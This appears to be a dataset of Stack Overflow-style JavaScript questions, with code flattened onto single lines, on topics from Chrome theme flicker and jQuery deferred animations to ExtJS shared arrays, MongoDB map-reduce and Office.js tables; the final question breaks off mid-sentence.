{ target [ key ] = obj [ key ] ; Object.defineProperty ( obj , key , { get : function ( ) { console.log ( `` Get '' ) ; return target [ key ] ; } , set : function ( newValue ) { console.log ( `` Set '' ) ; target [ key ] = newValue ; } } ) ; } ) ; } var obj = { a : 2 , b : 3 } ; wrap ( obj ) ; obj.a ; // Getobj.a = 2 ; // Setobj.b ; // Getobj.b = 2 ; // Setobj.c = 2 ; // Nothingobj.c ; // Nothing",Proxy substitue for ES5 "JS : I 'm currently working on a theme toggle for my website that uses Javascript / jQuery to manipulate the Body.bg color using a lightmode ( ) / darkmode ( ) function that is toggled by a button . What I want to do is create seamless transitioning between the body bg color with fade in and fade outs . I already have that made and created , but the problem is when the theme reads the storage type it will blink quickly in Chrome and Chrome Canary but in Safari , and Safari Tech Preview for Catalina it works seamlessly . However , I keep running into an issue when the user switches to white and then clicks on the nav link which then causes a black blink of the dark mode theme . My site starts with dark mode enabled and body bg is = # 0a0a0a , but when it switches to white and the storage is updated , it still inherits the black body - bg that is initially set in the style.less of my theme . If I remove the background color , then the white flicker happens on the dark mode theme , and ideally my end goal is to create seamless page navigation without the page blinking for a quick second reading the initial bg color before the body loads so - white on white bg , black on black bg no blinking to cause visual disruption.I 've tried every work around I could come up with and ca n't figure out a solution . It works in Safari with no page blinking , but in Chrome it still blinks . I 've included video links showing what I want to accomplish with the Safari render for Google chrome and the main.js code file . Safari - seamless transitioningChrome and Chrome Canary - watch for the blink on white transition . It 's quick but super frustrating.So what 's going on ? ! The problem is the theme is now set to white , but the initial body - bg color is black in the style.less theme and it picks that up real quick before snapping back to the white theme . When I audit the site in Canary , and run it at slow 3G simulated there is no blink , but when it ran normally or at Fast 3G in the audit the blink occurs . My hypothesis is to set a timeout on the body before loading it , but I tried that as a work around and still got blinking . I 've tried to create key stored in local storage for my storage and to also pause the body from loading , but so far I ca n't find a solution to this : / So what I want to do is to stop the body bg color from flickering white or black based off the theme colors base color without blinking . Thanks for taking the time to read my problem ! Here is my version of trying to make a work around . document.addEventListener ( `` DOMContentLoaded '' , function ( ) { document.body.style.backgroundColor = `` inherit '' ; if ( document.readyState === 'complete ' ) { if ( lightmodeON == true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; console.log ( 'loading white bg ' ) ; } if ( lightmodeON == false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; console.log ( 'loading black bg ' ) ; } } if ( typeof ( Storage ) ! == '' undefined '' ) { if ( localStorage.themepref == 1 ) { lightmode ( ) ; } else { darkmode ( ) ; localStorage.themepref = 2 ; } if ( lightmodeON == true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; console.log ( 'loading fffwhite bg ' ) ; } if ( lightmodeON == false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; console.log ( 'loading black bg ' ) ; } } var clickDelay = false ; var themeType = -1 ; var lightmodeON = false ; window.onload = function ( ) { console.log ( 'First ' ) ; if ( event.target.readyState === 'interactive ' ) { $ ( 'body ' ) .css ( { background : `` } ) ; document.body.style.backgroundColor = `` inherit '' ; if ( lightmodeON == true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; document.body.style.backgroundColor = `` # FFF '' ; } if ( lightmodeON == false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; document.body.style.backgroundColor = `` # 0a0a0a '' ; } } overloadBG ( ) ; } ; document.addEventListener ( `` DOMContentLoaded '' , function ( ) { document.body.style.backgroundColor = `` inherit '' ; if ( document.readyState === 'complete ' ) { if ( lightmodeON == true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; console.log ( 'loading white bg ' ) ; } if ( lightmodeON == false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; console.log ( 'loading black bg ' ) ; } } if ( typeof ( Storage ) ! == '' undefined '' ) { if ( localStorage.themepref == 1 ) { lightmode ( ) ; } else { darkmode ( ) ; localStorage.themepref = 2 ; } if ( lightmodeON == true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; console.log ( 'loading fffwhite bg ' ) ; } if ( lightmodeON == false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; console.log ( 'loading black bg ' ) ; } } } ) ; window.addEventListener ( 'beforeunload ' , function ( e ) { $ ( 'body ' ) .css ( { background : `` } ) ; if ( lightmodeON == true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; document.body.style.backgroundColor = `` # FFF '' ; } if ( lightmodeON == false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; document.body.style.backgroundColor = `` # 0a0a0a '' ; } document.body.style.backgroundColor = `` inherit '' ; overloadBG ( ) ; } ) ; window.onbeforeunload = function ( ) { //FUCK YOU BLINK // $ ( 'body ' ) .css ( { background : 'none ' } ) ; $ ( 'body ' ) .css ( { background : `` } ) ; document.body.style.backgroundColor = `` '' ; if ( typeof ( Storage ) ! == '' undefined '' ) { if ( localStorage.themepref == 1 ) { localStorage.themepref = 1 ; lightmode ( ) ; } else { darkmode ( ) ; localStorage.themepref = 2 ; } } } document.onreadystatechange = function ( ) { $ ( 'body ' ) .css ( { background : `` } ) ; document.body.style.backgroundColor = `` transparent '' ; if ( event.target.readyState === 'interactive ' ) { console.log ( 'interactive ' ) ; if ( lightmodeON === true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; } if ( lightmodeON === false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; } } if ( event.target.readyState === 'loading ' ) { $ ( 'body ' ) .css ( { background : `` } ) ; if ( lightmodeON == true ) { $ ( 'body ' ) .css ( { background : `` # FFF '' } ) ; $ ( `` body '' ) .css ( `` cssText '' , `` background : # FFF ! important ; '' ) ; } if ( lightmodeON == false ) { $ ( 'body ' ) .css ( { background : `` # 0a0a0a '' } ) ; $ ( `` body '' ) .css ( `` cssText '' , `` background : # 0a0a0a ! important ; '' ) ; } }",DOM Background color propagation flickering inheriting initial bg color in Google Chrome using theme toggle to overload body bg color "JS : I have an array like below : I tried to generate a JSON object : One solution I can think of is using FOR loop to make it , but I am sure there are elegant solutions for this . Any suggestions , please help me . [ `` gender-m '' , `` age-20 '' , `` city-london '' , `` lang-en '' , `` support-home '' ] { `` gender '' : '' m '' , `` age '' : '' 20 '' , `` city '' : '' london '' , `` lang '' : '' en '' , `` support '' : '' home '' }",How can I convert an array to an object by splitting strings ? "JS : In my code , I have an array of function calls . I loop over these calls and use .apply ( ) to call them . The problem is that if the call of the new function takes any sort of time , the loop will .apply ( ) and call the next function before the prior function is finished . > . < Here is an example : So if there was a callback on the apply function then this could work how I want it to . i.e.I also have a question about calling someFunc inside of a callback function . The functions in my calls array affect my element variable . So I want to make sure after it gets changed that it gets passed to someFunc in the callback so the next function can manipulate it as well . Sometimes I just get confused with the this context . : ) If it helps , I am using jQuery . I know how to add callbacks to jQuery methods but I do n't know how to do that when I 'm dealing with native JavaScript code . How can I add a callback to the .apply ( ) method ? function someFunc ( element , calls ) { if ( calls.length ) { fn = calls [ 0 ] ; calls.shift ( ) ; fn.apply ( element , args ) ; someFunc ( element , calls ) ; } } function someFunc ( element , calls ) { if ( calls.length ) { fn = calls [ 0 ] ; calls.shift ( ) ; fn.apply ( element , args , function ( ) { someFunc ( element , calls ) ; } ) ; } }",How can I add a callback to the .apply ( ) method ? "JS : Running my ( rather complex ) JavaScript/jQuery application in Google 's Chrome browser , it would appear that $ ( document ) .ready fires while some of the JavaScript files have not yet loaded.The relevant code ( simplified ) : In my HTML fileAs the last statement of each of the .js files except main.js : e.g.In main.js : Much to my amazement , I see some of these trigger . This does not match my understanding of $ ( document ) .ready . What am I missing ? < script > var httpRoot='../../../ ' ; var verifyLoad = { } ; < /script > < script src= '' ../../../globalvars.js '' > < /script > < script src= '' ../../../storagekeys.js '' > < /script > < script src= '' ../../../geometry.js '' > < /script > < script src= '' ../../../md5.js '' > < /script > < script src= '' ../../../serialize.js '' > < /script > ... < script src= '' ../../../main.js '' > < /script > verifyLoad.FOO = true ; // where FOO is a property specific to the file verifyLoad.jquerySupplements = true ; verifyLoad.serialize = true ; $ ( document ) .ready ( function ( ) { function verifyLoadTest ( scriptFileName , token ) { if ( ! verifyLoad.hasOwnProperty ( token ) ) { console.log ( scriptFileName + ' not properly loaded ' ) ; } ; } ; verifyLoadTest ( 'globalvars.js ' , 'globalvars ' ) ; verifyLoadTest ( 'storagekeys.js ' , 'storagekeys ' ) ; verifyLoadTest ( 'geometry.js ' , 'geometry ' ) ; verifyLoadTest ( 'md5.js ' , 'geometry ' ) ; verifyLoadTest ( 'serialize.js ' , 'serialize ' ) ; ... }",What exactly does $ ( document ) .ready guarantee ? "JS : Using next @ 9.1.7 with a custom server with express . How can I know in my server.js if the next.js page exists or not before the handle ( req , res ) call ? I tried with app.router.execute but it always returns false . So I imagine that is not the way . I checked the Next.js docs and I did n't get any solution ... Does somebody have an idea ? const dev = process.env.NODE_ENV ! == 'production'const app = next ( { dev } ) const server = express ( ) const handle = app.getRequestHandler ( ) // ... server.get ( '* ' , async ( req , res ) = > { const { url , fixed } = fixUrl ( req ) // pageExists is always false ... const pageExists = await app.router.execute ( req , res , req.url ) // Fix the url and redirect only if the page exists // ( to avoid redirects to 404 pages ) if ( fixed & & pageExists ) { res.redirect ( 301 , url ) return } handle ( req , res ) } )",How to check if a page exist in a custom server using Next.js "JS : This situation is difficult to explain , so let me illustrate with a picture : Those pixels inside the first shape created are lightened . The screen is cleared with black , the red and green boxes are drawn , then the path is drawn . The only fix that I 've found so far was setting the line width of the boxes to 2 pixels , for the reasons outlined here.Here 's the code being used to draw the squares : And the lines : And a picture of the same situation where the boxes are drawn at 2px width : Is lineTo ( ) perhaps messing with the alpha values ? Any help is greatly appreciated.EDIT : To clarify , the same thing occurs when sctx.closePath ( ) ; is omitted from the path being drawn . sctx.save ( ) ; sctx.strokeStyle = this.color ; sctx.lineWidth = this.width ; sctx.beginPath ( ) ; sctx.moveTo ( this.points [ 0 ] .x , this.points [ 0 ] .y ) ; for ( var i = 1 ; i < this.points.length ; i++ ) { sctx.lineTo ( this.points [ i ] .x , this.points [ i ] .y ) ; } sctx.closePath ( ) ; sctx.stroke ( ) ; sctx.restore ( ) ; sctx.save ( ) ; sctx.strokeStyle = 'orange ' ; sctx.lineWidth = 5 ; console.log ( sctx ) ; sctx.beginPath ( ) ; sctx.moveTo ( this.points [ 0 ] .x , this.points [ 0 ] .y ) ; for ( var i = 1 ; i < this.points.length ; i++ ) { sctx.lineTo ( this.points [ i ] .x , this.points [ i ] .y ) ; } sctx.closePath ( ) ; sctx.stroke ( ) ; sctx.restore ( ) ;",Why does lineTo ( ) change interior pixels ? JS : I have a text input within the summary tag of a details element which is in the open state . The intention is to capture user input which will eventually be displayed as a details element ( see below ) . However the details element toggles when the user presses the space bar while entering text . I want to prevent this . I expected that this could be done using stopPropagation in the keypress event but it does not seem to be working . How do I prevent the element from toggling ? I need to do this within a React component but I 'm posting a js/html example here for simplicity.One alternative is to use preventDefault onkeypress when space is entered and manually concatenate the space char but this seems inelegant window.onload = function ( ) { var summary = document.getElementById ( `` x '' ) ; var fn = function ( e ) { e.stopPropagation ( ) ; /*if ( e.keyCode == 32 ) { e.preventDefault ( ) ; e.target.value += `` `` } */ } ; summary.onkeypress = fn ; //summary.onkeydown = fn ; } ; < details open > < summary > < input id= '' x '' type= '' text '' / > < /summary > Some content < /details >,How to prevent the html details element from toggling when the summary has an embedded text input and user presses space bar "JS : I am trying to use addEventListener when the user scroll into view < div id= '' container '' > . I have done so by scroll height but my attempts to addEventListener when < div > is on the top of the window.This will setState when scrolled 500px.How can I replace the condition of 500px to be set when the user is with id= '' container '' as the top of the window ? Also replace isStuck state to isStuckBottom when the user reaches the bottom of the div.The full code is handleHeaderStuck = ( ) = > { if ( this.innerContainer.scrollTop < = 500 & & this.state.isStuck === true ) { this.setState ( { isStuck : false } ) ; } else if ( this.innerContainer.scrollTop > = 500 & & this.state.isStuck ! == true ) { this.setState ( { isStuck : true } ) ; } } constructor ( props ) { super ( props ) this.state = { isStuck : false , } this.handleHeaderStuck = this.handleHeaderStuck.bind ( this ) } innerContainer = null componentDidMount ( ) { this.innerContainer.addEventListener ( `` scroll '' , this.handleHeaderStuck ) ; } componentWillUnmount ( ) { this.innerContainer.removeEventListener ( `` scroll '' , this.handleHeaderStuck ) ; } handleHeaderStuck = ( ) = > { if ( this.innerContainer.scrollTop < = 500 & & this.state.isStuck === true ) { this.setState ( { isStuck : false } ) ; } else if ( this.innerContainer.scrollTop > = 500 & & this.state.isStuck ! == true ) { this.setState ( { isStuck : true } ) ; } }",Conditional addEventListener when div ID is at top of window "JS : Animate the Div after the previous Div animation has completed using deferred object . This simple method works with the two functions f1 and f2 , however when I introduce f3 it fails . Is there a better way I can achieve this using the deferred object ? JSFiddle : https : //jsfiddle.net/j0bgzjvd/ var deferred = $ .Deferred ( ) ; function animationAgent ( element , prevElement ) { $ ( prevElement ) .promise ( ) .done ( function ( ) { return $ ( element ) .css ( `` display '' , `` block '' ) .animate ( { width:360 } ,2000 , `` linear '' ) } ) ; } function f1 ( ) { animationAgent ( `` # div1 '' ) ; } function f2 ( ) { animationAgent ( `` # div2 '' , `` # div1 '' ) ; } function f3 ( ) { animationAgent ( `` # div3 '' , `` # div2 '' ) ; } deferred.resolve ( ) ; deferred.done ( [ f1 , f2 , f3 ] ) ; div { width : 200px ; height : 200px ; background-color : red ; margin-bottom : 10px ; display : none ; } < script src= '' https : //code.jquery.com/jquery-1.10.2.js '' > < /script > < div id= '' div1 '' > < /div > < div id= '' div2 '' > < /div > < div id= '' div3 '' > < /div >",One Div animation after another using deferred object "JS : I use r.js optimizer to combine js files based on build profile as it 's suggested in documentation . Here 's my build-config.js : As you can see it 's based upon main.js file , here 's a code of it : If I preserve urlArgs : `` bust= '' + ( new Date ( ) ) .getTime ( ) in main.js all external files ( here jquery which is loaded from CDN ) look like ... /jquery.js ? bust=1377412213So it 's PITA to comment out this line every time I make a build . I 've read through all the documentation and googled for a solution but everything in vain . Maybe I do it wrong ? ( { baseUrl : `` . `` , paths : { jquery : '//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min ' , } , name : `` main '' , out : `` main-built.2013-07-30.js '' } ) requirejs.config ( { baseUrl : 'scripts ' , urlArgs : `` bust= '' + ( new Date ( ) ) .getTime ( ) , paths : { jquery : [ '//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min ' , 'lib/jquery-1.9.1.min ' , ] , } , } ) ; require ( [ 'layout ' , 'cue ' , ] , function ( ) { } ) ;",How to exclude urlArgs from build using r.js "JS : I 'm trying to build a simple little game for fun , but I 'm hitting a stump when it comes to passing this method down to its grandchildren . I 've found similar topics , but none that answered my question . For this question , I 've managed to narrow the code down to what the problem is perceived to be.The relevant component structure is App.js > Runeboard.js > Rune.jsThe Goal : To have Rune.js have an onClick function on each rune that is dynamically produced by whatever is in this.state.usersRunes.I do n't believe there is anything wrong with the function itself , or passing it down as props , because console logging the runes values all succeed when in Runeboard.js , and even in Rune.This works , but is not dynamic to what is in the this.state.usersRunes array : The problem with that , is I 'd like for every item in this.state.usersRunes ( an array of integers ) , a Rune component that has its own onClick that successfuly executes activateRune with its parameter of the value of the rune . ( The value of the rune being this.state.usersRunes So this.state.usersRunes = [ 2,3,5,9 ] the values would be 2 , 3 , 5 , and 9.So even though the above works , this does not and I do not understand why : App.jsThe activateRune function : App.js render : Runeboard.jsrender : Rune.jsrender : How can I resolve this ? return ( < div > Runeboard < span onClick= { ( ) = > this.props.activateRune ( this.props.usersRunes [ 0 ] ) } > { this.props.usersRunes [ 0 ] } < /span > < span onClick= { ( ) = > this.props.activateRune ( this.props.usersRunes [ 1 ] ) } > { this.props.usersRunes [ 1 ] } < /span > < span onClick= { ( ) = > this.props.activateRune ( this.props.usersRunes [ 2 ] ) } > { this.props.usersRunes [ 2 ] } < /span > < span onClick= { ( ) = > this.props.activateRune ( this.props.usersRunes [ 3 ] ) } > { this.props.usersRunes [ 3 ] } < /span > < br / > < br / > < /div > ) ; activateRune ( rune ) { if ( this.state.inBet || this.state.mustBet ) { this.call ( rune ) } else if ( ! this.state.inBet ) { this.setMessage ( `` You can not place a rune first ! '' ) } } < Runeboard activateRune= { this.activateRune } usersRunes= { this.state.usersRunes } / > let rune = this.props.usersRunes.map ( ( rune , i ) = > { console.log ( rune ) // this works and successfully prints the array 's integers return ( < div > < Rune activateRune= { this.props.activateRune } runeValue= { rune } key= { i } / > < /div > ) } ) return ( < div > { rune } < /div > ) return ( < div onClick= { ( ) = > this.props.activateRune ( this.props.runeValue ) } > { this.props.runeValue } // this works and successfully displays the value < /div > ) ;",Passing a method down two levels "JS : I am trying to improve multiple conditions using ng-show and ng-hide using directives , here is my codehtml codejs codehere is my parentHtml.html codeMy problem is when I give all the three `` a , b , c '' to the directive attribute then in `` parentHtml '' all the three div 's have to show , if I give only two i.e `` a , b '' then in parentHtml only two div 's have to show i.e `` apple '' and `` bat '' and also if give only one string i.e `` c '' then in parentHtml only `` cat '' div have to show , in a simple way if what the alphabet I give to the directive attribute thet div have to show . Here is my http : //plnkr.co/edit/6gAyAi63Ni4Z7l0DP5qm ? p=preview . Please solve my question in a simple way . Thanks In Advance < my-directive controls= '' a , b , c '' > < /my-directive > .directive ( 'myDirective ' , function ( ) { return { restrict : ' E ' , templateUrl : '' parentHtml.html '' , link : function ( scope , elem , attr ) { var options = attr.controls ; if ( options== '' a , b , c '' ) { scope.showMeAll=true ; } else if ( options== '' a '' ) { scope.showmeA=true ; } else if ( options== '' b '' ) { scope.showmeB=true ; } else if ( options== '' c '' ) { scope.showmeC=true ; } } } } ) .directive ( 'subDirective ' , function ( ) { return { restrict : ' E ' , template : '' < h2 > aapple < /h2 > '' , link : function ( scope , elem , attr ) { } } } ) .directive ( 'subDirective1 ' , function ( ) { return { restrict : ' E ' , template : '' < h2 > BBatt < /h2 > '' , link : function ( scope , elem , attr ) { } } } ) .directive ( 'subDirective2 ' , function ( ) { return { restrict : ' E ' , template : '' < h2 > CCat < /h2 > '' , link : function ( scope , elem , attr ) { } } } ) ; < div class= '' row '' > < div ng-show= '' showMeAll '' > < sub-directive > < /sub-directive > < /div > < div ng-show= '' showMeB '' > < sub-directive1 > < /sub-directive1 > < /div > < div ng-show= '' showMeC '' > < sub-directive2 > < /sub-directive2 > < /div > < /div >",how can we manage multiple conditions in a simple condition using ng-show and ng-hide "JS : I 'm a noobie that has been learning by his own and messing around with javascript and I stumbled upon that nightmare called 'regular expressions ' ... I kinda know a little bit about them and I been doing fancy stuff , but I 'm stuck and I 'd like you clarify this to me : I 've been reading and looking for a way to create matches and I tripped on with great answer : How to perform a real time search and filter on a HTML table///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } ) ; http : //jsfiddle.net/dfsq/7BUmG/1133//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////I kinda understand what is going on there but could somebody break that down and 'translate it in javascript ' for me so I can catch the idea better , I barely can do cool stuff with jquery since I 'm still studying javascript , I know certain things about the jqueries but not enough to fully understand what he did there and enough about regular expressions to know that the guy who wrote taht code is a genius < 3this is what i understand and please correct me : it 's the scope , the 'target ' in which is gon na be looking for the matchpd : that 's the first time I see the ' $ ' to declare variables and for what I 've looked it sets it as a jQuery object..it 's that right ? the ' $ .trim ( $ ( this ) .val ( ) ' is equal to $ .trim ( $ ( `` # user_input '' ) .val ( ) ) ; ... ... .right ? the reg variable works as a constructor to find the match that will be case-insensitive , but should n't it be 'reg = new RegExp ( val , ' i ' ) ' or I can set as it is as well ? here is when I get confused the mostwhat I can understand is that the matches will be shown only if they pass the filter set by the text variable and the ones who do n't will be hidden , I have n't the slightest idea of what the $ ( this ) is equivalent to ... .in the text variable.. and from there on I have no idea what 's going on , I found that .test ( ) returns true or false when it finds a match in the regexp object but why does it have the ! at the beginning ? var $ rows = $ ( ' # table tr ' ) ; $ ( ' # search ' ) .keyup ( function ( ) { var val = '^ ( ? = . *\\b ' + $ .trim ( $ ( this ) .val ( ) ) .split ( /\s+/ ) .join ( '\\b ) ( ? = . *\\b ' ) + ' ) . * $ ' , reg = RegExp ( val , ' i ' ) , text ; $ rows.show ( ) .filter ( function ( ) { text = $ ( this ) .text ( ) .replace ( /\s+/g , ' ' ) ; return ! reg.test ( text ) ; } ) .hide ( ) ; var $ rows = $ ( ' # table tr ' ) ; var val = '^ ( ? = . *\\b ' + $ .trim ( $ ( this ) .val ( ) ) .split ( /\s+/ ) .join ( '\\b ) ( ? = . *\\b ' ) + ' ) . * $ ' , reg = RegExp ( val , ' i ' ) , text ; reg = RegExp ( val , ' i ' ) $ rows.show ( ) .filter ( function ( ) { text = $ ( this ) .text ( ) .replace ( /\s+/g , ' ' ) ; return ! reg.test ( text ) ; } ) .hide ( ) ;",'Translation from jQuery to JavaScript ' "JS : I was created 2 lines between 2 DIVs once user click the DIVs . Now I got problem on how to reset the unwanted line if I want to change my answer.You may see my current code for your references : var lastSelection ; // Add click listener for answer-containerfunction listenToClick ( ) { var rows = document.querySelectorAll ( '.row ' ) , row ; var cols , col ; for ( row = 0 ; row < rows.length ; row++ ) { cols = rows [ row ] .children ; for ( col = 0 ; col < cols.length ; col++ ) { // Bind information about which answer is this , // so we can prevent from connecting two answers on // same column . cols [ col ] .addEventListener ( 'click ' , selectAnswer.bind ( { row : row , col : col , element : cols [ col ] } ) ) ; } } } // This is fired when a answer-container is clicked.function selectAnswer ( event ) { if ( lastSelection ) { lastSelection.element.classList.remove ( 'selected ' ) ; } if ( ! lastSelection || lastSelection.col === this.col ) { lastSelection = this ; this.element.classList.add ( 'selected ' ) ; } else { drawLine ( getPoint ( this.element ) , getPoint ( lastSelection.element ) ) ; lastSelection = null ; } } function getPoint ( answerElement ) { var roundPointer = answerElement.lastElementChild ; return { y : answerElement.offsetTop + roundPointer.offsetTop + roundPointer.offsetHeight / 2 , x : answerElement.offsetLeft + roundPointer.offsetLeft + roundPointer.offsetWidth / 2 } ; } function drawLine ( p1 , p2 ) { var canvas = document.getElementById ( `` connection-canvas '' ) ; var ctx = canvas.getContext ( `` 2d '' ) ; ctx.beginPath ( ) ; ctx.moveTo ( p1.x , p1.y ) ; ctx.lineTo ( p2.x , p2.y ) ; ctx.stroke ( ) ; } function resizeCanvas ( ) { var canvas = document.getElementById ( `` connection-canvas '' ) ; var ctx = canvas.getContext ( `` 2d '' ) ; ctx.canvas.width = window.innerWidth ; ctx.canvas.height = window.innerHeight ; } listenToClick ( ) ; resizeCanvas ( ) ; .padding-answer-line-mapping { padding-bottom:8px ; } .answer-container { width:40px ; height:40px ; background-color : # ccc ; border:1px solid # ccc ; margin:2px ; float : left ; text-align : center ; padding-top:8px ; cursor : pointer ; position : relative ; } .answer-container : hover , .answer-container : focus , .answer-container : active { background-color : # 0076e9 ; color : white ; border : 1px solid # 0076e9 ; } .round-pointer-right { position : absolute ; background-color : # ccc ; cursor : pointer ; width:10px ; height:10px ; border-radius : 50 % ; right:0px ; top:14px ; margin-right : -20px ; } .round-pointer-left { position : absolute ; background-color : # ccc ; cursor : pointer ; width:10px ; height:10px ; border-radius : 50 % ; left:0px ; top:14px ; margin-left : -20px ; } .selected { background-color : red ; } < link href= '' //code.ionicframework.com/1.3.1/css/ionic.css '' rel= '' stylesheet '' / > Match the following items . < canvas id= '' connection-canvas '' style= '' position : absolute ; top : 0 ; left : 0 ; right : 0 ; bottom : 0 '' > < /canvas > < div class= '' row padding-answer-line-mapping '' > < div class= '' col answer-container '' > One < div class= '' round-pointer-right '' > < /div > < /div > < div class= '' col '' > < /div > < div class= '' col answer-container '' > 2 < div class= '' round-pointer-left '' > < /div > < /div > < /div > < div class= '' row padding-answer-line-mapping '' > < div class= '' col answer-container '' > Two < div class= '' round-pointer-right '' > < /div > < /div > < div class= '' col '' > < /div > < div class= '' col answer-container '' > 1 < div class= '' round-pointer-left '' > < /div > < /div > < /div >",Remove current line between 2 DIVs created if user want to change the answer "JS : Can someone please explain this behavior to me.Lets declare a class : Now I create two objects Test the property This outputsEverything is OK , but We get This I do n't understand . Why does it use separate `` a '' properties but one `` ar '' array for both objects . `` ar '' is not declared as static ! I do n't get it at all . Ext.define ( 'baseClass ' , { a : null , ar : [ ] , add : function ( v ) { this.ar.push ( v ) ; } , sayAr : function ( ) { console.log ( this.ar ) ; } , setA : function ( v ) { this.a= v ; } , sayA : function ( ) { console.log ( this.a ) ; } } ) ; var a = Ext.create ( 'baseClass ' ) ; var b = Ext.create ( 'baseClass ' ) ; a.setA ( 1 ) ; b.setA ( 2 ) ; a.sayA ( ) ; b.sayA ( ) ; 12 a.add ( 1 ) ; b.add ( 2 ) ; a.sayAr ( ) ; b.sayAr ( ) ; [ 1,2 ] [ 1,2 ]",ExtJs inheritance behaviour "JS : I 'm working on a complicated map-reduce process for a mongodb database . I 've split some of the more complex code off into modules , which I then make available to my map/reduce/finalize functions by including it in my scopeObj like so : ... This all works fine . I had until recently thought it was n't possible to include module code into a map-reduce scopeObj , but it turns out that was just because the modules I was trying to include all had dependencies on other modules . Completely standalone modules appear to work just fine.Which brings me ( finally ) to my question . How can I -- or , for that matter , should I -- incorporate more complex modules , including things I 've pulled from npm , into my map-reduce code ? One thought I had was using Browserify or something similar to pull all my dependencies into a single file , then include it somehow ... but I 'm not sure what the right way to do that would be . And I 'm also not sure of the extent to which I 'm risking severely bloating my map-reduce code , which ( for obvious reasons ) has got to be efficient.Does anyone have experience doing something like this ? How did it work out , if at all ? Am I going down a bad path here ? UPDATE : A clarification of what the issue is I 'm trying to overcome : In the above code , require ( '../lib/userCalculations ' ) is executed by Node -- it reads in the file ../lib/userCalculations.js and assigns the contents of that file 's module.exports object to scopeObj.userCalculations . But let 's say there 's a call to require ( ... ) somewhere within userCalculations.js . That call is n't actually executed yet . So , when I try to call userCalculations.overallScoreForUser ( ) within the Map function , MongoDB attempts to execute the require function . And require is n't defined on mongo.Browserify , for example , deals with this by compiling all the code from all the required modules into a single javascript file with no require calls , so it can be run in the browser . But that does n't exactly work here , because I need to be the resulting code to itself be a module that I can use like I use userCalculations in the code sample . Maybe there 's a weird way to run browserify that I 'm not aware of ? Or some other tool that just `` flattens '' a whole hierarchy of modules into a single module ? Hopefully that clarifies a bit . const scopeObj = { userCalculations : require ( '../lib/userCalculations ' ) } function myMapFn ( ) { let userScore = userCalculations.overallScoreForUser ( this ) emit ( { 'Key ' : this.userGroup } , { 'UserCount ' : 1 , 'Score ' : userScore } ) } function myReduceFn ( key , objArr ) { /* ... */ } db.collection ( 'userdocs ' ) .mapReduce ( myMapFn , myReduceFn , { scope : scopeObj , query : { } , out : { merge : 'userstats ' } } , function ( err , stats ) { return cb ( err , stats ) ; } )",MongoDB map-reduce ( via nodejs ) : How to include complex modules ( with dependencies ) in scopeObj ? "JS : Is it posible to have two elements sharing the same content : Or a more complex example , using css3 columnsHope this makes sense ? Also the difference divs can be set up with difference width , height , columns & style.Thanks for your feedback.Trying to elaborate : If any of you know to programs like inDesign where you can create two text fields and link then together so that the text continues from the first text field to the next . And again you can link another to the collection and if the text is long enough it will start at textfield one go to the second and at end at the last : These boxes can be placed all around the screen and the only thing they have together is that they share the same content . -- -- -- -- -- | Line 1 || Line 2 || Line 3 | -- -- -- -- -- [ SOME OTHETR STUFF HERE ] -- -- -- -- -- | Line 4 || Line 5 || Line 6 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- - -- -- -- -- - -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | Line 1 | Line 4 | OTHER | Line 7 | Line 10 || Line 2 | Line 5 | STUFF | Line 8 | Line 11 || Line 3 | Line 6 | HERE | Line 9 | Line 12 | -- -- -- -- -- -- -- -- -- - -- -- -- -- - -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Box 1 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Lorem ipsum dolor sit amet , consectetur adipiscing elit . Proin rutrum ligula nec quam molestie sed rutrum justo -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Box 2 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- auctor . Quisque pulvinar diam nisl . Curabitur porttitor vehicula dui . Sed tempus venenatis est , non egestas -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Box 3 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- urna consequat a. Morbi diam mi , fermentum non lobortis eget , rhoncus id arcu . -- -- -- -- -- -- -- -- -- -- -- -- -- -- --",Linking multiple elements together so they are sharing the same content "JS : Is it possible to iterate through table rows and column after it is added in the document or worksheet.I am using the following code to add a table and I want on the success of this code i should be able to access the rows and column should be able to replace the values of cells after some conversion . Bellow is the code that i am using to create the table . var tableData = new Office.TableData ( ) ; var headers = [ placeholder.columns.map ( function ( c ) { return c.column ; } ) ] ; tableData.headers = headers tableData.rows = rows ; var document = Office.context.document ; document.setSelectedDataAsync ( tableData , function ( result ) { var placeholder = Office.context.document.settings.get ( results.binding.id ) ; if ( officeCallSucceded ( result , true ) ) { document.bindings.addFromSelectionAsync ( Office.BindingType.Table , function ( result ) { if ( officeCallSucceded ( result ) ) { //SOME LOGIC FOR BINDING HERE TO ADD //EVENT handlers to the table just added } } ) ; } } ) ; }",How can i Access the table added in Word or Excel and iterate throght each and every row and cell using Office.js "JS : I 'm trying to make a Google Hangouts Chat Bot that detects when a form has been filled in , and sends the responses of the most recent form submission to Hangouts Chat using a bot . I have built this off existing code ( my JS / GAS knowledge is near zero ) , mainly based on the GitHub TSFormBot repo . The issue is , it is sending each response invidiually as a different message , instead of 1 single message with all of the content.For exmaple , a 4 question form causes the bot to send 4 individual replies , with one of the different answers in each . Could you please help me see where I 'm going wrong 